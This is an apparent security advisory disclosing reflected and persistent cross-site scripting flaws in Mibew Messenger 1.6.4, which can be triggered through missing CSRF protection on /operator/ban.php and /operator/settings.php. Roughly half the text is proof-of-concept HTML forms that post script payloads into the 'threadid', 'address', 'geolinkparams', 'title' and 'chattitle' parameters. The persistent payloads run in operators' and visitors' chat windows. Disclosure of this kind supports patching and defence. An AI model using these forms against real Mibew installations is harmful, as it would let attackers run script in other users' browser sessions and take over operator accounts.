Mibew messenger version 1.6.4 an probably below is vulnerable to multiple XSS (and persistent XSS).
They are all an POSTs and can be exploited due to the lack of CSRF protection



1) Input passed via the "address" and "threadid" POST parameters to /operator/ban.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.


2) Input passed via the "geolinkparams" POST parameter to /operator/settings.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.


3) Input passed via the "title" POST parameter to /operator/settings.php is not properly sanitised before being saved to database.
This input is returned to the Operator user without any check when a new chat window is open.


4) Input passed via the "chattitle" POST parameter to /operator/settings.php is not properly sanitised before being saved to database.
This input is returned to the Visitor user without any check when a new chat window is open.



The following PoC code is available:

BOF
<form method=post action="http://127.0.0.1/mibew164/operator/ban.php">
<input type=hidden name="address" value='codseq'>
<input type=hidden name="days" value="1">
<input type=hidden name="threadid" value='1"><script>alert(1)</script>'>
<input type=hidden name="comment" value="dasd">

<input type=submit value="exploit ban.php threadid - execute me twice">
</form>



<form method=post action="http://127.0.0.1/mibew164/operator/ban.php">
<input type=hidden name="address" value='codseq1"><script>alert(1)</script>'>
<input type=hidden name="days" value="1">
<input type=hidden name="comment" value="dasd">
<input type=hidden name="threadid" value='1'>

<input type=submit value="exploit ban.php address">
</form>



<form method=post action="http://127.0.0.1/mibew164/operator/settings.php">
<input type=hidden name="email" value='prova@prova.com'>
<input type=hidden name="title" value='bla bla bla'>
<input type=hidden name="logo" value='1'>
<input type=hidden name="hosturl" value='1'>
<input type=hidden name="usernamepattern" value='a'>
<input type=hidden name="chattitle" value='a'>
<input type=hidden name="geolink" value='a'>
<input type=hidden name="sendmessagekey" value='enter'>
<input type=hidden name="geolinkparams" value='<script>alert(1)</script>'>

<input type=submit value="exploit settings.php geolinkparams">
</form>


<!-- this set a persistent XSS that gets executed when OPERATOR opens a new chat -->

<form method=post action="http://127.0.0.1/mibew164/operator/settings.php">
<input type=hidden name="email" value='prova@prova.com'>
<input type=hidden name="title" value='<script>alert(1)</script>'>
<input type=hidden name="logo" value='1'>
<input type=hidden name="hosturl" value='1'>
<input type=hidden name="usernamepattern" value='a'>
<input type=hidden name="chattitle" value='a'>
<input type=hidden name="geolink" value='a'>
<input type=hidden name="sendmessagekey" value='enter'>
<input type=hidden name="geolinkparams" value=''>

<input type=submit value="exploit settings.php title">
</form>


<!-- this set a persistent XSS that gets executed when VISITOR opens a new chat -->

<form method=post action="http://127.0.0.1/mibew164/operator/settings.php">
<input type=hidden name="email" value='prova@prova.com'>
<input type=hidden name="title" value='prova'>
<input type=hidden name="logo" value='1'>
<input type=hidden name="hosturl" value='1'>
<input type=hidden name="usernamepattern" value='a'>
<input type=hidden name="chattitle" value='<script>alert(1)</script>'>
<input type=hidden name="geolink" value='a'>
<input type=hidden name="sendmessagekey" value='enter'>
<input type=hidden name="geolinkparams" value=''>

<input type=submit value="exploit settings.php chattitle">
</form>


EOF

no sulutions availabe yet